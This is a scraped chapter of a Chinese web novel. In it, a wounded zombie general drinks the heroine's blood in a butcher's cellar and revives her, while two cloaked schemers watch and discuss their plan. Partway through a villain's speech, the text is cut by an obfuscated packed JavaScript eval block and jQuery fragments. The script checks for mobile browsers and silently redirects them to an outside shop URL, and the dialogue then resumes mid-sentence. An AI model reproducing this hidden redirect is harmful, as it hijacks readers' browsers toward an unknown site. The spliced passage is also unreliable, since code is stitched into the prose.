文趣网 > 都市小说 > 满级小白花有点茶 > 48. 第48章:女主昏迷了,
    第48章:女主昏迷了,缘浅情薄乃僵尸宿命

    “是我。”

    我心里那块悬了一路的巨石终于落了地,还好不是坏人。

    但很快又提了起来。

    欧阳告译的声音低沉沙哑得像是从砂纸上磨过,一听就知道他状态不对。

    月光下,他的脸色白得不正常,额角还有一道渗血的口子,血顺着眉骨的弧度往下淌,半张脸都是血。

    一身黑色劲装上全是深一块浅一块的暗色湿痕,也不知道是别人的还是他自己的。

    “你怎么又受伤了——”我话没说完,他抬手示意我噤声。头顶的屋脊上,两道破空声由远及近,落在附近停了下来。

    我屏住呼吸,他靠在水井边上,呼吸又沉又急。

    死士的脚步声在头顶的屋脊上停了片刻,然后往南边去了。

    我刚松了一口气,转过头想跟他说话,却看见他苍白的嘴唇在微微发抖,似乎在用极大的意志力控制自己的身体。

    他用一只手压着自己的腹部,指尖的缝隙里正往外渗血,顺着腰带一滴滴砸在脚下的青石板上。

    刚才带着我跑那么快,每一分每一秒都在撕裂伤口。

    我当机立断,一把拉住他的袖子,压低声音说:“前面巷子拐出去有一家杀猪店,那地方腥气重,能盖住血腥味。”

    他抬眼看我,金色的瞳孔在月光下亮了一瞬,然后微微点了点头。

    杀猪店已经关门了,但后院的木栅栏不高,以我和他的身手翻过去绰绰有余。

    后院堆满了空猪笼和几口大铁锅,墙角有一扇斜开在地上的木门,门缝里透出霉烂的稻草味。

    我拉开木门往下看了一眼,是杀猪匠冬天用来存冰鲜肉的地窖,不大,但够深够隐蔽。

    就算有人摸进后院,看到这扇门也不会觉得有什么异常。

    谁会想钻进一间杀猪铺子的烂地窖?

    “下去。”

    他扶着地窖口的木框跳下去,我紧跟着钻进去,反手把木门拉上。

    门板合上的瞬间,整个世界都黑了。

    地窖小得离谱,目测不到四尺见方,高度刚好够一个人站直,但问题是里面根本不是空的。地窖一角堆着半人高的腌菜缸,缸沿上凝着一层白花花的盐霜,另一角堆着几捆发霉的稻草,稻草上还搁着两把生了锈的杀猪刀,地上散落着不知什么时候落下的碎骨头和干涸的油脂块。

    最要命的是那股味道,腥,浓烈的腥,简直是血、油脂、盐卤、霉稻草混在一起沤了不知多久的复合型恶臭,浓得像一锅煮了三天的泔水,粘稠地糊在你的鼻腔里,抠都抠不出来。

    但这也意味着,就算有人站在我们头顶,也很难辨认出人血的味道。

    我强忍着胃里的翻搅,正想把身子往旁边挪一挪,膝盖一弯就撞上他的腿。

    他往后一退,肩膀磕在腌菜缸上,发出一声沉闷的轻响。

    我再往后退,后背已经贴上了另一面墙,冰凉的石壁硌得脊椎生疼。

    我们俩像两只被塞进同一个罐子里的螃蟹,每一寸空间都被挤得满满当当。

    黑暗中我看不清他的表情,只能听见他压抑的呼吸声,还有我自己的心跳,咚咚咚地撞着耳膜……

    我默默抹了一把冷汗,欧阳告译八成是克我的,每次和他在一起,心脏就得超负荷运转。

    ———————————————

    头顶传来细微的瓦片响动,欧阳告译浑身肌肉瞬间绷紧,撑着墙壁的手臂因为用力,有液体顺着袖管往下淌的声音,是血在黑暗中沿着他的手指一滴一滴地砸在稻草上。

    他整个人都在发抖,他正用全部意志力在把自己钉在墙上。

    可那点微弱的月光太暗,暗到他连她的轮廓都快看不清,地窖又太小,小到他每一次呼吸都能把她的气息吸进肺里。

    血腥味、稻草味、腌菜味,还有她身上那点说不清道不明的暖香……

    高等僵尸可以自行选择气味,所以此刻他只选择了她的气味……

    他把额头抵在石壁上,闭上眼睛,喉结缓慢而沉重地滚了一下,然后又一下——

    花小白正在心里默默数数,看看屋顶上那几个死士什么时候走。他的鼻尖碰上了她耳后最软的那块皮肤,就只是安静地贴着,像是要把她的温度一点一点揉进骨头里。

    花小白浑身一僵,鸡皮疙瘩从后颈一路炸到后腰,她伸手想推他,手指刚碰到他的胸口,他就开口了。

    “……可、以吗?”轻缓又沉重的声音,从鼻腔发出的叹息带着僵尸特有的蛊惑力。

    花小白愣住了,他的声音里有挣扎、隐忍、克制了太久太久之后从骨头缝里挤出来的渴望,还有一丝几乎听不到的绝望。

    他把头放在她的颈窝侧边,额头顶着她肩窝的骨头,呼吸又烫又急,身体里有什么东西在疯狂地想要挣脱,可他的嘴唇始终没有碰到她的皮肤,就那么悬在那里,等着。

    都到这种地步了,他居然还能克制住,等待她的应允。

    花小白闭上眼睛,咬着嘴唇,点了点头。

    然后她偏过头,把脖子上最脆弱的那片皮肤暴露在他面前。

    “咬吧。”

    獠牙刺破皮肤的那一刻,没有她预想中的剧痛,只有一种被穿透的钝麻感。凉意从颈部往四肢百骸蔓延,像是有人往血管里灌月光。

    她肩膀轻轻颤了一下,他又把她往怀里带了些,一只手托着她的后颈,另一只手扣着她的腰,把她整个人稳稳地护在怀里。

    他吸得很克制,每一口都像是在细品,喉咙深处发出一声微不可察的叹息。

    花小白感觉到自己的意识正在一点一点被抽离,眼前的黑暗变得越来越浓。

    她迷迷糊糊地想着:等他好了,必须连同之前的一起狠狠敲诈一笔!

    然而很快,她整个人像被泡进温水里似的,慢慢往下沉。

    就在她眼皮快要合上的时候,那一缕微弱的月光透过木门缝隙照进来,正好落在他脸上。

    那是一张她已经很熟悉的脸,但此刻在月光下,好看得让她思维断了一瞬。

    眉骨的弧度、鼻梁的线条、嘴角那点还没擦干净的血渍……全部被那缕月光镶上了一层冷银色的边。

    他微微偏头,月光在他高挺的鼻梁一侧投下极淡的阴影,衬得那张线条冷硬的脸在朦胧光影里有了几分不真实的清俊。

    她忽然想起两个时辰前酒楼里燕如归望着窗外喝酒的样子,同样好看,却又完全不同。

    燕如归的好看是冷的,是刀锋划过雪地的距离感,而欧阳告译的好看,是山川在冰河解冻后初融的模样。

    她喜欢一切好看的东西,便忍不住多看了几眼。

    少顷,她发现自己已经没有任何力气思考了,眼皮沉得像灌了铅,但偏偏还有一丝残留的意识,够她感知到周围发生的一切。

    欧阳告译的脸在缓慢地靠近她,彼此的呼吸已经缠绕在一起,她能感觉到他的鼻尖轻轻擦过自己的鼻尖,然后他的嘴唇轻轻地贴上了她的嘴唇。

    那缕救命灵气从他口中渡过来的时候,花小白模糊的意识被什么东西拨动了一下,浑身战栗起来——

    她迷迷糊糊地想,渡气需要嘴对嘴吗?以他的法力,输送灵气可以有很多其他方式的啊……

    但她太困了,困到连这个问题都抓不住,只感觉到他嘴唇的温度和触感……很轻,轻得像一片落在她唇上的雪,又那么烫,烫得像一滴刚从心脏里取出来的血。他修长的手指轻轻托在她脸颊上,掌心粗粝的茧贴在皮肤上,带着一种奇异的、令人心悸的摩擦感。

    他的呼吸压抑而克制,唇齿间渡过来的灵气和血气纠缠在一起,温热而微甜。

    他没有加深这个触碰,只是安安静静地贴着她的嘴唇,像在确认什么,又像在忍耐什么。

    她不知道他是什么时候停下渡气的,只知道他的嘴唇在离开的时候,轻轻地蹭过她的唇角,似乎还在那里停留了一瞬……

    然后他缓缓撤回身,把她的头放在自己肩上,用自己的身体挡住那缕微弱的月光。

    她昏昏沉沉地靠在他的怀里,眼皮终于合上了。

    ———————————————

    月光很亮,照得杀猪店后院的石板地泛着一层薄薄的白霜。

    高墙之上,站着两个人。一黑一红,两袭斗篷被夜风吹得猎猎翻卷,兜帽深深地压下来,将两张脸尽数隐没在阴影里。

    红衣人银亮狭长的眼睛穿透木门,落在微弱月光下狭窄地窖里紧紧相贴的两个身影上。

    他什么都看见了——

    红衣人攥了攥拳头,向前迈了一步。斗篷下摆拂过墙头枯草,发出一声细微的沙沙响。

    黑衣人的手抬起来,拦在他身前。那只手苍白修长,每一个指节都透着不容置疑的分量。

    红衣人停住了,但斗篷下的胸膛起伏得厉害。“他吸了她的血!”声音从兜帽底下传出来,压得极低,低到几乎被夜风吞没。

    “看到了。”黑衣人似乎很乐于火上浇油,“他还给她渡了气。”

    红衣人猛地转过头,兜帽下隐约露出下颌的线条,绷得像拉满的弓弦。

    “别拦我!”他几乎咬牙道。

    “你猜欧阳告译现在知道多少我们的事了。”黑衣人收回手,重新负在身后,姿态从容得像在赏月。

    红衣人止住脚步,冷然道:“自他回来那天起,你不是已经发现他不一样了么。可能还没踏进崇开城,他就早都猜到了。”

    “是啊,他那么聪明的一个人,我们这次做得又过于急迫,定是留下破绽了。”

    “待你拿到外神之力后找到那一位,区区金眼,在你眼里也不过蝼蚁吧。”

    “不要小看初代金眼纯种血统的上限能力。”

    红衣发出一丝冷笑:“曾经的三大金眼僵尸,一个被你助攻死了,一个被你制成了傀儡,最后一个差点死在了书州,你也别谦虚了。”

    黑衣人扬了扬下颌道:“数千年来我一直留着他的护国军,明知道那支军队是他最硬的骨头,还是让他们活到了今天。你知道为什么吗?”

    红衣人没有回答,黑衣人也不需要他回答。

    “我们被族人流放到这里后,必须选择三位人性至极之人转换僵尸,我们三分别选择了‘大贪’‘大毒’‘大义’。人性之恶最易控制,我和紫咬了贪心的龙靳和阴毒的花暇,琴喜欢人之善,所以他咬了为大义而死的欧阳告译。我不得不承认,这一点上他的眼光确实比我们好,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652678|205246||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我们可以操控龙靳和花暇,却唯独控制不了欧阳告译。就算我占据这具身体,用尽一切办法,他还是在我的掌控之外,这让我很烦躁。”

    “你为什么不直接杀了他?”红衣人望着地窖下紧紧贴在一起的俩人,指甲几乎嵌进肉里。

    “我们虽是三丝魂魄,但同归一个灵体,无论是谁,都不能亲手了结自己缔结的僵尸,否则会遭到意想不到的神力反噬,这是我们神血族的规则,即便我们现在流落在‘乙哑’这个星球,依然不可打破。”

    黑衣人望向地窖,嘴角挽起一抹诡异的笑:“我本来还头疼他没了护国军这个软肋,会不会影响我的大计,现在好了——”他微微偏头,兜帽下的目光似乎穿透了木门,落在了地窖里那个戴面具的女子身上,“似乎有了新的。”

    红衣人攥紧了袖中的拳头,指甲掐进掌心,指节发出极轻微的咔咔声响。月光照在他手背上,照出几条青色的脉络。

    “她跟这件事没有关系。”

    “没有关系?”黑衣人轻轻笑了一声,那笑声里没有半分温度,“欧阳告译把自己的席位让给了她。他那样一个人,不擅求人,不喜亏欠,却为了她——你看,这千年老古董也懂了什么叫怜香惜玉。”

    远处尚神山的山影在月光下像一头蛰伏的巨兽,沉默地注视着崇开城的一举一动。

    地窖的木门从里面被推开。

    欧阳告译从地窖中跃出,落地的动作干脆利落,腹部的伤口在他起身的瞬间已经止住了血,新生的皮肉正在以肉眼可见的速度愈合。

    他站在杀猪店后院的碎石地面上,月光把他的影子拉得很长。那些原本隐匿在暗处的死士嗅到了他的气息,从巷口、屋脊、枯井后同时扑出,速度比之前更快,因为他们知道他已经恢复了。

    第一个死士的刀锋劈到他后颈不到三寸的距离时,他抬起手,五指在月光下轻轻一握。那个死士停住了,像是被一只无形的手掐住了咽喉,四肢在空中剧烈抽搐,然后化作一蓬灰白色的粉末,无声地散落在夜风里。剩下的死士甚至没有机会发出声音。他的身形快得在月光里拖出了残影,每一道残影闪过,就有一具躯体化为灰烬。

    风把那些粉末卷起来,吹散在崇开城的上空,像一场无声的雪。不到十息,所有的追兵都化为了尘埃。

    他收回手,低头看了看自己的掌心,确认上面没有沾染一丝血迹,才转身走回地窖口,单膝跪地,将双手探入那扇低矮的木门,把花小白从地窖里稳稳地托了出来。

    她还在昏睡。脸上的面具歪了一些,露出一小截苍白的下颌和半片失去血色的嘴唇。

    她整个人轻飘飘地靠在他怀里,像一朵被风吹折了茎的小白花。

    他把她调整了一个更舒服的姿势,让她的头靠在自己肩窝里,用手护住她的后脑,迈步走进了月光里。

    他的脚步不快,但每一步都走得很稳,生怕怀里之人发出一声不适的低吟。

    红衣人沉默地望着,夜风从他们之间穿过,吹得两袭斗篷猎猎作响。

    高墙上,黑衣人说:“我知道你与她有一段浅薄的缘分,但你也是活了数千年的僵尸了,你们之间那短暂的时光又算得上什么呢?”

    夜风忽然停了,整条巷子都静了下来,连远处的犬吠声都消失了。

    “我们谋划了上千年的事,眼看希望就在眼前,神位之门开启,日后那些你死去的亲人,你的父母,你的兄长,你那还没学会走路就断了气的小侄女——他们才有机会回来。你等了这么久,找了这么久,做了这么多事,走到今天这一步——你舍得把这一切都毁了?”

    红衣人的斗篷下摆轻轻晃了一下,他没有立刻回答。

    过了很久很久,红衣人才开口。他的声音恢复了平日里的慵懒和平淡,像是刚才攥紧拳头的那个人不是他。

    “缘分浅薄。”他顿了顿,“我知道。”

    黑衣人点了点头,没有再多说一个字。有些话不需要说尽,说尽了反而廉价。他太懂那些活了太久的不死人,能支撑他们活下去的不过是那份种在心里的执拗妄想。

    街道另一头,欧阳告译抱着花小白穿过空无一人的青石板路,走过将军府那条种满了老槐树的长街……将军府门前的侍卫看见他,先是愣住,然后刷地单膝跪地。

    他没有看他们,只是低声吩咐了一句:“备热水,请府医。”

    将军府里最好的那间客院已经空了很久了,院里的桂花树却开得正好。

    他把她放在床上,拉过被子盖到她下颌,动作轻得像是在铺一层雪。

    月光从半掩的窗棂里照进来,落在她安静的侧脸上。他站在床边看了她一会儿,然后缓缓伸出手,用指腹极轻极轻地擦掉了她唇角残留的一丝血痕。

    高墙之上,月光依旧很亮。黑衣人静静地看着将军府的方向,似乎在出神。过了很久,他才低低地笑了一声:“有意思。”

    黑衣人身影微动,斗篷下摆已经飘了起来,他说:“走吧,新炼化的恶灵军要验收了。这盘棋才下到中局,别在收官之前自乱阵脚。”

    红衣人没有接话,只是安静地看着那扇亮起烛火的窗子,盯着窗纸上映出的那个守在床边的沉默侧影……一动不动。

    黑衣人轻叹口气,消失在夜色里。